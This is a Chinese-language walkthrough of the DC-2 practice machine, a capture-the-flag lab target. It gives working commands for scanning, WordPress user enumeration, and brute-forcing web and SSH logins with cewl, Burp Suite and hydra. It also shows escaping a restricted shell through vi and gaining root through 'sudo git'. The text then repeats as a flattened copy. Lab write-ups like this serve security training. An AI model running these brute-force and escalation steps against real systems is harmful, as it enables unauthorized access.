DC-2打靶机步骤
字数 1160 2025-08-12 12:08:18

DC-2靶机渗透测试详细教程

环境准备

  • 攻击机:Kali Linux (IP: 10.9.28.45)
  • 靶机:DC-2 (IP: 10.9.28.18)
  • 辅助机:Windows 7 SP1 (IP: 10.9.28.131)

注意:需要修改本机DNS解析才能访问DC-2的web服务

目标信息

  • 靶机包含5个flags
  • 可以通过查看虚拟机MAC地址确认IP

渗透测试步骤

1. 信息收集

1.1 Nmap扫描

nmap -sV 10.9.28.18

发现

  • 开放80端口(HTTP)
  • WordPress CMS
  • PHP后端

1.2 WPScan扫描用户

wpscan --url http://10.9.28.18 -e u

发现3个用户

  • admin
  • tom
  • jerry

将用户名保存到文件:

echo -e "admin\ntom\njerry" > users.txt

1.3 Dirsearch目录扫描

dirsearch -u http://10.9.28.18

2. 漏洞挖掘

2.1 Flag1获取

  • 直接在网站上找到Flag1
  • 提示:常规字典可能不管用,需要使用cewl生成密码字典

2.2 密码爆破

  1. 使用cewl生成密码字典:
cewl http://10.9.28.18 -w passwords.txt
  1. 使用Burp Suite进行爆破:
    • 访问登录页面,随便输入凭证
    • 使用BP抓包
    • 发送到Intruder,使用Cluster bomb攻击类型
    • 设置log和pwd为变量
    • Payload set 1导入用户字典(users.txt)
    • Payload set 2导入密码字典(passwords.txt)

结果:获取到tom和jerry的密码

3. 漏洞利用

3.1 Web登录

  1. 使用tom和jerry的凭证分别登录
  2. 在jerry账户中发现Flag2
    • 提示:需要另一种方法

3.2 SSH服务发现

  1. 重新扫描所有端口:
nmap -p- 10.9.28.18

发现7744端口

  1. 详细扫描:
nmap -sV -p 7744 10.9.28.18

确认是SSH服务

3.3 SSH爆破

使用hydra爆破SSH:

hydra -L users.txt -P passwords.txt ssh://10.9.28.18:7744

hydra -L users.txt -P passwords.txt 10.9.28.18 -s 7744 ssh

结果:获取到tom的SSH凭证

4. 权限提升

4.1 受限shell绕过

  1. 使用tom登录SSH:
ssh tom@10.9.28.18 -p 7744
  1. 找到Flag3

    • 提示:需要su到jerry
  2. 绕过命令限制:

vi
:!bash
  1. 切换到jerry:
su jerry

输入jerry的密码

  1. 找到Flag4
    • 提示:没有提示

4.2 Root权限获取

  1. 检查sudo权限:
sudo -l

发现可以无密码执行git

  1. 利用git提权:
sudo git -p help

在帮助界面输入:

!/bin/bash
  1. 获取root权限后,在家目录找到final-flag

总结

通过本次渗透测试,我们完成了以下步骤:

  1. 信息收集:端口扫描、用户枚举、目录扫描
  2. 密码爆破:使用cewl生成字典,Burp Suite爆破
  3. 服务发现:识别隐藏的SSH服务
  4. 权限提升:绕过受限shell,利用sudo git提权
  5. 最终获取全部5个flags

关键点

  1. DNS解析修改:必须修改才能访问web服务
  2. 密码生成:使用cewl根据网站内容生成字典
  3. 服务发现:全面扫描所有端口,不遗漏隐藏服务
  4. 受限shell绕过:使用vi的shell转义功能
  5. 提权方法:利用sudo git的执行权限
DC-2靶机渗透测试详细教程 环境准备 攻击机 :Kali Linux (IP: 10.9.28.45) 靶机 :DC-2 (IP: 10.9.28.18) 辅助机 :Windows 7 SP1 (IP: 10.9.28.131) 注意 :需要修改本机DNS解析才能访问DC-2的web服务 目标信息 靶机包含5个flags 可以通过查看虚拟机MAC地址确认IP 渗透测试步骤 1. 信息收集 1.1 Nmap扫描 发现 : 开放80端口(HTTP) WordPress CMS PHP后端 1.2 WPScan扫描用户 发现3个用户 : admin tom jerry 将用户名保存到文件: 1.3 Dirsearch目录扫描 2. 漏洞挖掘 2.1 Flag1获取 直接在网站上找到Flag1 提示 :常规字典可能不管用,需要使用cewl生成密码字典 2.2 密码爆破 使用cewl生成密码字典: 使用Burp Suite进行爆破: 访问登录页面,随便输入凭证 使用BP抓包 发送到Intruder,使用Cluster bomb攻击类型 设置log和pwd为变量 Payload set 1导入用户字典(users.txt) Payload set 2导入密码字典(passwords.txt) 结果 :获取到tom和jerry的密码 3. 漏洞利用 3.1 Web登录 使用tom和jerry的凭证分别登录 在jerry账户中发现Flag2 提示 :需要另一种方法 3.2 SSH服务发现 重新扫描所有端口: 发现7744端口 详细扫描: 确认是SSH服务 3.3 SSH爆破 使用hydra爆破SSH: 或 结果 :获取到tom的SSH凭证 4. 权限提升 4.1 受限shell绕过 使用tom登录SSH: 找到Flag3 提示 :需要su到jerry 绕过命令限制: 切换到jerry: 输入jerry的密码 找到Flag4 提示 :没有提示 4.2 Root权限获取 检查sudo权限: 发现可以无密码执行git 利用git提权: 在帮助界面输入: 获取root权限后,在家目录找到final-flag 总结 通过本次渗透测试,我们完成了以下步骤: 信息收集:端口扫描、用户枚举、目录扫描 密码爆破:使用cewl生成字典,Burp Suite爆破 服务发现:识别隐藏的SSH服务 权限提升:绕过受限shell,利用sudo git提权 最终获取全部5个flags 关键点 DNS解析修改 :必须修改才能访问web服务 密码生成 :使用cewl根据网站内容生成字典 服务发现 :全面扫描所有端口,不遗漏隐藏服务 受限shell绕过 :使用vi的shell转义功能 提权方法 :利用sudo git的执行权限